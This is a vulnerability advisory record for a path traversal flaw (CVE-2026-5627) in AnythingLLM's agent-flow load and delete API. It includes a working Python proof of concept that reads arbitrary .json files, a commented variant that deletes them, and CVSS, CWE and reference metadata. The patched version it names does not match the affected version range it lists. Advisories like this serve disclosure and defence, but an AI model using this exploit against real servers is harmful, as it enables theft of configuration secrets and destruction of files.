CVE-2026-5627

# Proof of Concept (PoC) for CVE-2026-5627 # This script demonstrates how to exploit the path traversal to read a sensitive file. import requests target_url = "http://localhost:3000/api/agent-flows/load" headers = {"Content-Type": "application/json"} # Payload to traverse directories and read a .json file (e.g., package.json) payload = { "flowId": "../../package.json" } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! File content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") # Example for deleting a file: # delete_url = "http://localhost:3000/api/agent-flows/delete" # requests.post(delete_url, json=payload, headers=headers)

The vulnerability arises from improper handling of user input in the `loadFlow` and `deleteFlow` methods in `server/utils/agentFlows/index.js`. Specifically, the combination of `path.join` and `normalizePath` allows attackers to bypass directory restrictions and access or delete arbitrary `.json` files on the server. This can lead to information disclosure, such as leaking sensitive configuration files containing API keys, or denial of service by deleting critical files like `package.json`. The issue is resolved in version 1.12.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-29"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mintplexlabs:anythingllm:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.9.1", "matchCriteriaId": "29889CE1-BBB8-4EC0-BF2E-4B68E173DB5E"}]}]}], "references": [{"url": "https://github.com/mintplex-labs/anything-llm/commit/3444b9b0aa6764d72d53670ab4b1aaccdc6b7017", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://huntr.com/bounties/597d41c5-7ea0-4786-80f4-bd536ec66374", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}
